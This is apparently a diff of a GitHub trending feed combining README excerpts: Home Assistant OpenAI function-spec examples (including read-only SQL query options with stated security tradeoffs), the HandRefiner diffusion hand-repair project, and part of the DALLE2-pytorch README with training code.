<li>Sample URL: <a href="https://jsonplaceholder.typicode.com/users">https://jsonplaceholder.typicode.com/users</a></li>
</ul>
<pre><code class="language-yaml">- spec:
name: get_friend_names
description: Use this function to get friend_names
parameters:
type: object
properties:
dummy:
type: string
description: Nothing.
function:
type: rest
resource: https://jsonplaceholder.typicode.com/users
value_template: '{{value_json | map(attribute="name") | list }}'
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-10-31 แแ ฉแแ ฎ 9 48 36" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/f968e328-5163-4c41-a479-76a5406522c1">
<h3>6. composite</h3>
<h4>6-1. Search Youtube Music</h4>
<p>When using <a href="https://github.com/KoljaWindeler/ytube_music_player">ytube_music_player</a>, after <code>ytube_music_player.search</code> service is called, result is stored in attribute of <code>sensor.ytube_music_player_extra</code> entity.<br></p>
<pre><code class="language-yaml">- spec:
name: search_music
description: Use this function to search music
parameters:
type: object
properties:
query:
type: string
description: The query
required:
- query
function:
type: composite
sequence:
- type: script
sequence:
- service: ytube_music_player.search
data:
entity_id: media_player.ytube_music_player
query: "{{ query }}"
- type: template
value_template: >-
media_content_type,media_content_id,title
{% for media in state_attr('sensor.ytube_music_player_extra', 'search') -%}
{{media.type}},{{media.id}},{{media.title}}
{% endfor%}
</code></pre>
<img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-11-02 แแ ฉแแ ฎ 8 40 36" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/648efef8-40d1-45d2-b3f9-9bac4a36c517">
<h3>7. sqlite</h3>
<h4>7-1. Let model generate a query</h4>
<ul>
<li>Without examples, a query tries to fetch data only from "states" table like below
<blockquote>
<p>Question: When did bedroom light turn on? <br> Query(generated by gpt-3.5): SELECT * FROM states WHERE entity_id = 'input_boolean.livingroom_light_2' AND state = 'on' ORDER BY last_changed DESC LIMIT 1</p>
</blockquote> </li>
<li>Since "entity_id" is stored in "states_meta" table, we need to give examples of question and query.</li>
<li>Not secured, but flexible way</li>
</ul>
<pre><code class="language-yaml">- spec:
name: query_histories_from_db
description: >-
Use this function to query histories from Home Assistant SQLite database.
Example:
Question: When did bedroom light turn on?
Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated_ts FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'light.bedroom' AND s.state = 'on' AND s.state != old.state ORDER BY s.last_updated_ts DESC LIMIT 1
Question: Was livingroom light on at 9 am?
Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated, s.state FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'switch.livingroom' AND s.state != old.state AND datetime(s.last_updated_ts, 'unixepoch', 'localtime') < '2023-11-17 08:00:00' ORDER BY s.last_updated_ts DESC LIMIT 1
parameters:
type: object
properties:
query:
type: string
description: A fully formed SQL query.
function:
type: sqlite
</code></pre>
<table>
<thead>
<tr>
<th>Get last changed date time of state</th>
<th>Get state at specific time</th>
</tr>
</thead>
<tbody>
<tr>
<td><img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-11-19 แแ ฉแแ ฎ 5 32 56" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/5a25db59-f66c-4dfd-9e7b-ae6982ed3cd2"></td>
<td><img width="300" alt="แแ ณแแ ณแ แ ตแซแแ ฃแบ 2023-11-19 แแ ฉแแ ฎ 5 32 30" src="https://github.com/jekalmin/extended_openai_conversation/assets/2917984/51faaa26-3294-4f96-b115-c71b268b708e"></td>
</tr>
</tbody>
</table>
<p><strong>FAQ</strong></p>
<ol>
<li>Can gpt modify or delete data?
<blockquote>
<p>No, since connection is created in a read only mode, data are only used for fetching.</p>
</blockquote> </li>
<li>Can gpt query data that are not exposed in database?
<blockquote>
<p>Yes, it is hard to validate whether a query is only using exposed entities.</p>
</blockquote> </li>
<li>Query uses UTC time. Is there any way to adjust timezone?
<blockquote>
<p>Yes. Set "TZ" environment variable to your <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">region</a> (eg. <code>Asia/Seoul</code>). <br> Or use plus/minus hours to adjust instead of 'localtime' (eg. <code>datetime(s.last_updated_ts, 'unixepoch', '+9 hours')</code>).</p>
</blockquote> </li>
</ol>
<h4>7-2. Let model generate a query (with minimum validation)</h4>
<ul>
<li>If need to check at least "entity_id" of exposed entities is present in a query, use "is_exposed_entity_in_query" in combination with "raise".</li>
<li>Not secured enough, but flexible way</li>
</ul>
<pre><code class="language-yaml">- spec:
name: query_histories_from_db
description: >-
Use this function to query histories from Home Assistant SQLite database.
Example:
Question: When did bedroom light turn on?
Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated_ts FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'light.bedroom' AND s.state = 'on' AND s.state != old.state ORDER BY s.last_updated_ts DESC LIMIT 1
Question: Was livingroom light on at 9 am?
Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated, s.state FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'switch.livingroom' AND s.state != old.state AND datetime(s.last_updated_ts, 'unixepoch', 'localtime') < '2023-11-17 08:00:00' ORDER BY s.last_updated_ts DESC LIMIT 1
parameters:
type: object
properties:
query:
type: string
description: A fully formed SQL query.
function:
type: sqlite
query: >-
{%- if is_exposed_entity_in_query(query) -%}
{{ query }}
{%- else -%}
{{ raise("entity_id should be exposed.") }}
{%- endif -%}
</code></pre>
<h4>7-3. Defined SQL manually</h4>
<ul>
<li>Use a user defined query, which is verified. And model passes a requested entity to get data from database.</li>
<li>Secured, but less flexible way</li>
</ul>
<pre><code class="language-yaml">- spec:
name: get_last_updated_time_of_entity
description: >
Use this function to get last updated time of entity
parameters:
type: object
properties:
entity_id:
type: string
description: The target entity
function:
type: sqlite
query: >-
{%- if is_exposed(entity_id) -%}
SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') as last_updated_ts
FROM states s
INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id
INNER JOIN states old ON s.old_state_id = old.state_id
WHERE sm.entity_id = '{{entity_id}}' AND s.state != old.state ORDER BY s.last_updated_ts DESC LIMIT 1
{%- else -%}
{{ raise("entity_id should be exposed.") }}
{%- endif -%}
</code></pre>
<h2>Practical Usage</h2>
<p>See more practical <a href="https://github.com/jekalmin/extended_openai_conversation/tree/main/examples">examples</a>.</p>
<h2>Logging</h2>
<p>In order to monitor logs of API requests and responses, add following config to <code>configuration.yaml</code> file</p>
<pre><code class="language-yaml">logger:
logs:
custom_components.extended_openai_conversation: info
</code></pre>
+ wenquanlu/HandRefiner
+ 2024-01-04T01:36:57Z
+ tag:github.com,2024-01-04:/wenquanlu/HandRefiner
+
+ <p></p><hr><h1 align="center"> HandRefiner: Refining Malformed Hands in Generated Images by Diffusion-based Conditional Inpainting </h1>
<p align="center"> <a href="https://raw.githubusercontent.com/wenquanlu/HandRefiner/main/%5Bhttps://arxiv.org/abs/2305.02034%5D(https://arxiv.org/abs/2311.17957)"><img src="https://img.shields.io/badge/arXiv-Paper-<color>"></a> </p>
<h1>News</h1>
<p><strong>2023.12.1</strong> The paper is post on arxiv!</p>
<p><strong>2023.12.29</strong> First code commit released.</p>
<h1>Introduction</h1>
<p>This is the official repository of the paper <a href="https://arxiv.org/abs/2311.17957"> HandRefiner: Refining Malformed Hands in Generated Images by Diffusion-based Conditional Inpainting </a></p>
<figure>
<img src="https://raw.githubusercontent.com/wenquanlu/HandRefiner/main/Figs/banner.png">
<figcaption align="center">
<b>Figure 1: Stable Diffusion (first two rows) and SDXL (last row) generate malformed hands (left in each pair), e.g., incorrect number of fingers or irregular shapes, which can be effectively rectified by our HandRefiner (right in each pair). </b>
</figcaption>
</figure>
<p> </p>
<p align="left"> In this study, we introduce a lightweight post-processing solution called <b>HandRefiner</b> to correct malformed hands in generated images. HandRefiner employs a conditional inpainting approach to rectify malformed hands while leaving other parts of the image untouched. We leverage the hand mesh reconstruction model that consistently adheres to the correct number of fingers and hand shape, while also being capable of fitting the desired hand pose in the generated image. Given a generated failed image due to malformed hands, we utilize ControlNet modules to re-inject such correct hand information. Additionally, we uncover a phase transition phenomenon within ControlNet as we vary the control strength. It enables us to take advantage of more readily available synthetic data without suffering from the domain gap between realistic and synthetic hands. </p>
<h1>Visual Results</h1>
<figure>
<img src="https://raw.githubusercontent.com/wenquanlu/HandRefiner/main/Figs/github_results.png">
</figure>
<h1>Installation</h1>
<p>Check <a href="https://raw.githubusercontent.com/wenquanlu/HandRefiner/main/docs/installation.md">installation.md</a> for installation instructions.</p>
<h1>Manual</h1>
<p>Check <a href="https://raw.githubusercontent.com/wenquanlu/HandRefiner/main/docs/manual.md">manual.md</a> for an explanation of commands to execute the HandRefiner.</p>
<h1>Get Started</h1>
<p>For single image rectification:</p>
<pre><code class="language-bash">python handrefiner.py --input_img test/1.jpg --out_dir output --strength 0.55 --weights models/inpaint_depth_control.ckpt --prompt "a man facing the camera, making a hand gesture, indoor" --seed 1
</code></pre>
<p>For multiple image rectifications:</p>
<pre><code class="language-bash">python handrefiner.py --input_dir test --out_dir output --strength 0.55 --weights models/inpaint_depth_control.ckpt --prompt_file test/test.json --seed 1
</code></pre>
<h1>Important Q&A</h1>
<ul>
<li> <b>What kind of images can be rectified?</b></li>
<p>Like any method, this method also has its limits. If the original hands are so bad that are inrecognisable from human eyes, then it is pretty much impossible for neural networks to fit a reasonable mesh. Also, due to the fitting nature of the method, we do not rectify the hand size. So if you have a giant malformed hand in the original image, you will still get a giant hand back in the rectified image. Thus malformed hands with hand-like shape and appropriate size can be rectified.</p>
<li> <b>Can we use it on SDXL images?</b> <p>In the paper, the SDXL images are resized to 512x512 before the rectification, because the base model used in this project is sd1.5. Solution for SDXL: However, it is certainly not difficult to implement it in SDXL, and I believe many implementations already have the functionality of using inpainting SDXL combined with depth controlnet to inpaint the image. So what you can do is get the depth map and masks from the pipeline of this repository, then pipe them to the whatever implementation for SDXL you use for inpainting the image. A caveat is that I have not tested this before, and as mentioned in the paper, since depth controlnet is not fine-tuned on the hand mesh data, it may have a high rate of failed inpainting. In that case, you can use the technique mentioned in the paper, using available synthetic data to fine-tune the depth sdxl controlnet, for example, using these two datasets here <a href="https://synthesis.ai/static-gestures-dataset/">[1]</a><a href="https://synthesis.ai/animated-gestures-dataset/">[2]</a>, then you can adjust control strength to get the desired texture and appearance.</p> </li>
<li> <b>What if the generation failed?</b> <p>The first thing is to check the depth map, if the depth map is bad, you can consider using a different mesh reconstruction model to reconstruct the mesh.</p> <p>Second things is to check if the masks of hands fully cover the malformed hands, some malformed hand can have very long fingers so it may not be covered by the detected masks, to fix this</p>
<ol>
<li>Consider using a greater padding by adjusting the pad parameter in the argument</li>
<li>Provide a hand-drawn mask</li>
</ol> <p>If all of the previous steps are ok, then you may need to regenerate several times or try different control strengths. <- changing the seed can be very helpful.</p> </li>
<li> <b>Since the small hands is a limitation mentioned in the paper, what is the appropriate hand size for the SD v1.5 weight?</b> <p>Generally, hands with size at least 60px ร 60px is recommended for the current weights. To make it applicable for small hands, consider scale up the image using some super-resolution methods.</p> </li>
<li> <b>How to contribute to this project?</b> <p>In the last decade, the CV community has produced dozens of highly accurate mesh reconstruction models, in this project we use the recent SOTA model Mesh Graphormer on the FreiHAND benchmark. However, it is very welcome to contribute to this project by porting other models here, I have written a template parent class for models under preprocessor folder.</p> </li>
<li> <b> Why use other model if Mesh Graphormer is already SOTA? </b> <p>In this project, we leverage mesh reconstruction model to project these malformed hands onto a reasonable pose space, Mesh Graphormer is only SOTA in terms of reconstructing mesh given correct hand pictures. In particular, Mesh Graphormer utilises a model-free approach to reconstruct hand mesh, through our experiments, this approach is usually more accurate (i.e., more natural appearance ) but less robust (i.e., higher failed reconstruction rate). Another common approach is model-based which uses a parametric deformable hand model to reconstruct mesh, this approach is usually more robust (i.e., lower failed reconstruction rate) but less accurate (i.e., less natural appearance).</p> </li>
<li> <b>Can I use it for Anime hands or other styles?</b> <p>As long as the hand detection model and the mesh reconstruction model are able to detect the hands and reconstruct meshes, it should work for other styles. However, from my understanding, these models are not trained on cartoon or anime images, so there is a great chance that the mesh reconstruction stage may fail.</p> </li>
</ul>
<h2>Comments</h2>
<ul>
<li>Our codebase builds heavily on <a href="https://github.com/CompVis/stable-diffusion">stable-diffusion</a>, <a href="https://github.com/lllyasviel/ControlNet">ControlNet</a> and <a href="https://github.com/microsoft/MeshGraphormer">MeshGraphormer</a>.</li>
</ul>
<h2>Citation</h2>
<p>If you find HandRefiner helpful, please consider giving this repo a star <span>โญ</span> and citing:</p>
<pre><code>@misc{lu2023handrefiner,
title={HandRefiner: Refining Malformed Hands in Generated Images by Diffusion-based Conditional Inpainting},
author={Wenquan Lu and Yufei Xu and Jing Zhang and Chaoyue Wang and Dacheng Tao},
year={2023},
eprint={2311.17957},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
</code></pre>
- lucidrains/DALLE2-pytorch
- 2024-01-03T01:36:06Z
- tag:github.com,2024-01-03:/lucidrains/DALLE2-pytorch
-
- <p>Implementation of DALL-E 2, OpenAI's updated text-to-image synthesis neural network, in Pytorch</p><hr><p><img src="https://raw.githubusercontent.com/lucidrains/DALLE2-pytorch/main/dalle2.png" width="450px"></p>
<h2>DALL-E 2 - Pytorch</h2>
<p>Implementation of <a href="https://openai.com/dall-e-2/">DALL-E 2</a>, OpenAI's updated text-to-image synthesis neural network, in Pytorch.</p>
<p><a href="https://youtu.be/RJwPN4qNi_Y?t=555">Yannic Kilcher summary</a> | <a href="https://www.youtube.com/watch?v=F1X4fHzF4mQ">AssemblyAI explainer</a></p>
<p>The main novelty seems to be an extra layer of indirection with the prior network (whether it is an autoregressive transformer or a diffusion network), which predicts an image embedding based on the text embedding from CLIP. Specifically, this repository will only build out the diffusion prior network, as it is the best performing variant (but which incidentally involves a causal transformer as the denoising network ๐)</p>
<p>This model is SOTA for text-to-image for now.</p>
<p>Please join <a href="https://discord.gg/xBPBXfcFHd"><img alt="Join us on Discord" src="https://img.shields.io/discord/823813159592001537?color=5865F2&logo=discord&logoColor=white"></a> if you are interested in helping out with the replication with the <a href="https://laion.ai/">LAION</a> community | <a href="https://www.youtube.com/watch?v=AIOE1l1W0Tw">Yannic Interview</a></p>
<p>As of 5/23/22, it is no longer SOTA. SOTA will be <a href="https://github.com/lucidrains/imagen-pytorch">here</a>. Jax versions as well as text-to-video project will be shifted towards the Imagen architecture, as it is way simpler.</p>
<h2>Status</h2>
<ul>
<li> <p>A research group has used the code in this repository to train a functional diffusion prior for their CLIP generations. Will share their work once they release their preprint. This, and <a href="https://github.com/crowsonkb">Katherine's</a> own experiments, validate OpenAI's finding that the extra prior increases variety of generations.</p> </li>
<li> <p>Decoder is now verified working for unconditional generation on my experimental setup for Oxford flowers. 2 researchers have also confirmed Decoder is working for them.</p> </li>
</ul>
<img src="https://raw.githubusercontent.com/lucidrains/DALLE2-pytorch/main/samples/oxford.png" width="450px">
<p><em>ongoing at 21k steps</em></p>
<ul>
<li> <p><a href="https://twitter.com/Buntworthy/status/1529475416775434240?t=0GEge3Kr9I36cjcUVCQUTg">Justin Pinkney</a> successfully trained the diffusion prior in the repository for his CLIP to Stylegan2 text-to-image application</p> </li>
<li> <p><a href="https://github.com/rom1504">Romain</a> has scaled up training to 800 GPUs with the available scripts without any issues</p> </li>
</ul>
<h2>Pre-Trained Models</h2>
<ul>
<li>LAION is training prior models. Checkpoints are available on <a href="https://huggingface.co/zenglishuci/conditioned-prior">๐คhuggingface</a> and the training statistics are available on <a href="https://wandb.ai/nousr_laion/conditioned-prior/reports/LAION-DALLE2-PyTorch-Prior--VmlldzoyMDI2OTIx">๐WANDB</a>.</li>
<li>Decoder - <a href="https://wandb.ai/veldrovive/dalle2_train_decoder/runs/jkrtg0so?workspace=user-veldrovive">In-progress test run</a> ๐ง</li>
<li>Decoder - <a href="https://wandb.ai/veldrovive/dalle2_train_decoder/runs/3d5rytsa?workspace=">Another test run with sparse attention</a></li>
<li>DALL-E 2 ๐ง - <a href="https://github.com/LAION-AI/dalle2-laion">DALL-E 2 Laion repository</a></li>
</ul>
<h2>Appreciation</h2>
<p>This library would not have gotten to this working state without the help of</p>
<ul>
<li><a href="https://github.com/nousr">Zion</a> for the distributed training code for the diffusion prior</li>
<li><a href="https://github.com/Veldrovive">Aidan</a> for the distributed training code for the decoder as well as the dataloaders</li>
<li><a href="https://github.com/krish240574">Kumar</a> for working on the initial diffusion training script</li>
<li><a href="https://github.com/rom1504">Romain</a> for the pull request reviews and project management</li>
<li><a href="https://github.com/Ciaohe">He Cao</a> and <a href="https://github.com/xiankgx">xiankgx</a> for the Q&A and for identifying of critical bugs</li>
<li><a href="https://github.com/marunine">Marunine</a> for identifying issues with resizing of the low resolution conditioner, when training the upsampler, in addition to various other bug fixes</li>
<li><a href="https://github.com/malumadev">MalumaDev</a> for proposing the use of pixel shuffle upsampler for fixing checkboard artifacts</li>
<li><a href="https://github.com/crowsonkb">Katherine</a> for her advice</li>
<li><a href="https://stability.ai/">Stability AI</a> for the generous sponsorship</li>
<li><a href="https://huggingface.co">๐ค Huggingface</a> and in particular <a href="https://github.com/sgugger">Sylvain</a> for the <a href="https://github.com/huggingface/accelerate">Accelerate</a> library</li>
<li><a href="https://github.com/arogozhnikov">Alex</a> for <a href="https://github.com/arogozhnikov/einops">einops</a>, indispensable tool for tensor manipulation</li>
</ul>
<p>... and many others. Thank you! ๐</p>
<h2>Install</h2>
<pre><code class="language-bash">$ pip install dalle2-pytorch
</code></pre>
<h2>Usage</h2>
<p>To train DALLE-2 is a 3 step process, with the training of CLIP being the most important</p>
<p>To train CLIP, you can either use <a href="https://github.com/lucidrains/x-clip">x-clip</a> package, or join the LAION discord, where a lot of replication efforts are already <a href="https://github.com/mlfoundations/open_clip">underway</a>.</p>
<p>This repository will demonstrate integration with <code>x-clip</code> for starters</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import CLIP
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 1,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 1,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8,
use_all_token_embeds = True, # whether to use fine-grained contrastive learning (FILIP)
decoupled_contrastive_learning = True, # use decoupled contrastive learning (DCL) objective function, removing positive pairs from the denominator of the InfoNCE loss (CLOOB + DCL)
extra_latent_projection = True, # whether to use separate projections for text-to-image vs image-to-text comparisons (CLOOB)
use_visual_ssl = True, # whether to do self supervised learning on images
visual_ssl_type = 'simclr', # can be either 'simclr' or 'simsiam', depending on using DeCLIP or SLIP
use_mlm = False, # use masked language learning (MLM) on text (DeCLIP)
text_ssl_loss_weight = 0.05, # weight for text MLM loss
image_ssl_loss_weight = 0.05 # weight for image self-supervised learning loss
).cuda()
# mock data
text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()
# train
loss = clip(
text,
images,
return_loss = True # needs to be set to True to return contrastive loss
)
loss.backward()
# do the above with as many texts and images as possible in a loop
</code></pre>
<p>Then, you will need to train the decoder, which learns to generate images based on the image embedding coming from the trained CLIP above</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import Unet, Decoder, CLIP
# trained clip from step 1
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 1,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 1,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
).cuda()
# unet for the decoder
unet = Unet(
dim = 128,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults=(1, 2, 4, 8)
).cuda()
# decoder, which contains the unet and clip
decoder = Decoder(
unet = unet,
clip = clip,
timesteps = 100,
image_cond_drop_prob = 0.1,
text_cond_drop_prob = 0.5
).cuda()
# mock images (get a lot of this)
images = torch.randn(4, 3, 256, 256).cuda()
# feed images into decoder
loss = decoder(images)
loss.backward()
# do the above for many many many many steps
# then it will learn to generate images based on the CLIP image embeddings
</code></pre>
<p>Finally, the main contribution of the paper. The repository offers the diffusion prior network. It takes the CLIP text embeddings and tries to generate the CLIP image embeddings. Again, you will need the trained CLIP from the first step</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DiffusionPriorNetwork, DiffusionPrior, CLIP
# get trained CLIP from step one
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8,
).cuda()
# setup prior network, which contains an autoregressive transformer
prior_network = DiffusionPriorNetwork(
dim = 512,
depth = 6,
dim_head = 64,
heads = 8
).cuda()
# diffusion prior network, which contains the CLIP and network (with transformer) above
diffusion_prior = DiffusionPrior(
net = prior_network,
clip = clip,
timesteps = 100,
cond_drop_prob = 0.2
).cuda()
# mock data
text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()
# feed text and images into diffusion prior network
loss = diffusion_prior(text, images)
loss.backward()
# do the above for many many many steps
# now the diffusion prior can generate image embeddings from the text embeddings
</code></pre>
<p>In the paper, they actually used a <a href="https://cascaded-diffusion.github.io/">recently discovered technique</a>, from <a href="http://www.jonathanho.me/">Jonathan Ho</a> himself (original author of DDPMs, the core technique used in DALL-E v2) for high resolution image synthesis.</p>
<p>This can easily be used within this framework as so</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import Unet, Decoder, CLIP
# trained clip from step 1
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
).cuda()
# 2 unets for the decoder (a la cascading DDPM)
unet1 = Unet(
dim = 32,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults = (1, 2, 4, 8)
).cuda()
unet2 = Unet(
dim = 32,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults = (1, 2, 4, 8, 16)
).cuda()
# decoder, which contains the unet(s) and clip
decoder = Decoder(
clip = clip,
unet = (unet1, unet2), # insert both unets in order of low resolution to highest resolution (you can have as many stages as you want here)
image_sizes = (256, 512), # resolutions, 256 for first unet, 512 for second. these must be unique and in ascending order (matches with the unets passed in)
timesteps = 1000,
image_cond_drop_prob = 0.1,
text_cond_drop_prob = 0.5
).cuda()
# mock images (get a lot of this)
images = torch.randn(4, 3, 512, 512).cuda()
# feed images into decoder, specifying which unet you want to train
# each unet can be trained separately, which is one of the benefits of the cascading DDPM scheme
loss = decoder(images, unet_number = 1)
loss.backward()
loss = decoder(images, unet_number = 2)
loss.backward()
# do the above for many steps for both unets
</code></pre>
<p>Finally, to generate the DALL-E2 images from text. Insert the trained <code>DiffusionPrior</code> as well as the <code>Decoder</code> (which wraps <code>CLIP</code>, the causal transformer, and unet(s))</p>
<pre><code class="language-python">from dalle2_pytorch import DALLE2
dalle2 = DALLE2(
prior = diffusion_prior,
decoder = decoder
)
# send the text as a string if you want to use the simple tokenizer from DALLE v1
# or you can do it as token ids, if you have your own tokenizer
texts = ['glistening morning dew on a flower petal']
images = dalle2(texts) # (1, 3, 256, 256)
</code></pre>
<p>That's it!</p>
<p>Let's see the whole script below</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DALLE2, DiffusionPriorNetwork, DiffusionPrior, Unet, Decoder, CLIP
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8
).cuda()
# mock data
text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()
# train
loss = clip(
text,
images,
return_loss = True
)
loss.backward()
# do above for many steps ...
# prior networks (with transformer)
prior_network = DiffusionPriorNetwork(
dim = 512,
depth = 6,
dim_head = 64,
heads = 8
).cuda()
diffusion_prior = DiffusionPrior(
net = prior_network,
clip = clip,
timesteps = 1000,
sample_timesteps = 64,
cond_drop_prob = 0.2
).cuda()
loss = diffusion_prior(text, images)
loss.backward()
# do above for many steps ...
# decoder (with unet)
unet1 = Unet(
dim = 128,
image_embed_dim = 512,
text_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults=(1, 2, 4, 8),
cond_on_text_encodings = True # set to True for any unets that need to be conditioned on text encodings
).cuda()
unet2 = Unet(
dim = 16,
image_embed_dim = 512,
cond_dim = 128,
channels = 3,
dim_mults = (1, 2, 4, 8, 16)
).cuda()
decoder = Decoder(
unet = (unet1, unet2),
image_sizes = (128, 256),
clip = clip,
timesteps = 100,
image_cond_drop_prob = 0.1,
text_cond_drop_prob = 0.5
).cuda()
for unet_number in (1, 2):
loss = decoder(images, text = text, unet_number = unet_number) # this can optionally be decoder(images, text) if you wish to condition on the text encodings as well, though it was hinted in the paper it didn't do much
loss.backward()
# do above for many steps
dalle2 = DALLE2(
prior = diffusion_prior,
decoder = decoder
)
images = dalle2(
['cute puppy chasing after a squirrel'],
cond_scale = 2. # classifier free guidance strength (> 1 would strengthen the condition)
)
# save your image (in this example, of size 256x256)
</code></pre>
<p>Everything in this readme should run without error</p>
<p>You can also train the decoder on images of greater than the size (say 512x512) at which CLIP was trained (256x256). The images will be resized to CLIP image resolution for the image embeddings</p>
<p>For the layperson, no worries, training will all be automated into a CLI tool, at least for small scale training.</p>
<h2>Training on Preprocessed CLIP Embeddings</h2>
<p>It is likely, when scaling up, that you would first preprocess your images and text into corresponding embeddings before training the prior network. You can do so easily by simply passing in <code>image_embed</code>, <code>text_embed</code>, and optionally <code>text_encodings</code></p>
<p>Working example below</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DiffusionPriorNetwork, DiffusionPrior, CLIP
# get trained CLIP from step one
clip = CLIP(
dim_text = 512,
dim_image = 512,
dim_latent = 512,
num_text_tokens = 49408,
text_enc_depth = 6,
text_seq_len = 256,
text_heads = 8,
visual_enc_depth = 6,
visual_image_size = 256,
visual_patch_size = 32,
visual_heads = 8,
).cuda()
# setup prior network, which contains an autoregressive transformer
prior_network = DiffusionPriorNetwork(
dim = 512,
depth = 6,
dim_head = 64,
heads = 8
).cuda()
# diffusion prior network, which contains the CLIP and network (with transformer) above
diffusion_prior = DiffusionPrior(
net = prior_network,
clip = clip,
timesteps = 100,
cond_drop_prob = 0.2,
condition_on_text_encodings = False # this probably should be true, but just to get Laion started
).cuda()
# mock data
text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()
# precompute the text and image embeddings
# here using the diffusion prior class, but could be done with CLIP alone
clip_image_embeds = diffusion_prior.clip.embed_image(images).image_embed
clip_text_embeds = diffusion_prior.clip.embed_text(text).text_embed
# feed text and images into diffusion prior network
loss = diffusion_prior(
text_embed = clip_text_embeds,
image_embed = clip_image_embeds
)
loss.backward()
# do the above for many many many steps
# now the diffusion prior can generate image embeddings from the text embeddings
</code></pre>
<p>You can also completely go <code>CLIP</code>-less, in which case you will need to pass in the <code>image_embed_dim</code> into the <code>DiffusionPrior</code> on initialization</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DiffusionPriorNetwork, DiffusionPrior
# setup prior network, which contains an autoregressive transformer
prior_network = DiffusionPriorNetwork(
dim = 512,
depth = 6,
dim_head = 64,
heads = 8
).cuda()
# diffusion prior network, which contains the CLIP and network (with transformer) above
diffusion_prior = DiffusionPrior(
net = prior_network,
image_embed_dim = 512, # this needs to be set
timesteps = 100,
cond_drop_prob = 0.2,
condition_on_text_encodings = False # this probably should be true, but just to get Laion started
).cuda()
# mock data
text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()
# precompute the text and image embeddings
# here using the diffusion prior class, but could be done with CLIP alone
clip_image_embeds = torch.randn(4, 512).cuda()
clip_text_embeds = torch.randn(4, 512).cuda()
# feed text and images into diffusion prior network
loss = diffusion_prior(
text_embed = clip_text_embeds,
image_embed = clip_image_embeds
)
loss.backward()
# do the above for many many many steps
# now the diffusion prior can generate image embeddings from the text embeddings
</code></pre>
<h2>OpenAI CLIP</h2>
<p>Although there is the possibility they are using an unreleased, more powerful CLIP, you can use one of the released ones, if you do not wish to train your own CLIP from scratch. This will also allow the community to more quickly validate the conclusions of the paper.</p>
<p>To use a pretrained OpenAI CLIP, simply import <code>OpenAIClipAdapter</code> and pass it into the <code>DiffusionPrior</code> or <code>Decoder</code> like so</p>
<pre><code class="language-python">import torch
from dalle2_pytorch import DALLE2, DiffusionPriorNetwork, DiffusionPrior, Unet, Decoder, OpenAIClipAdapter
# openai pretrained clip - defaults to ViT-B/32
clip = OpenAIClipAdapter()
# mock data
text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()
# prior networks (with transformer)
prior_network = DiffusionPriorNetwork(
dim = 512,
depth = 6,
dim_head = 64,
heads = 8
).cuda()
diffusion_prior = DiffusionPrior(
net = prior_network,
clip = clip,
timesteps = 100,
cond_drop_prob = 0.2
).cuda()
loss = diffusion_prior(text, images)
loss.backward()
# do above for many steps ...
# decoder (with unet)
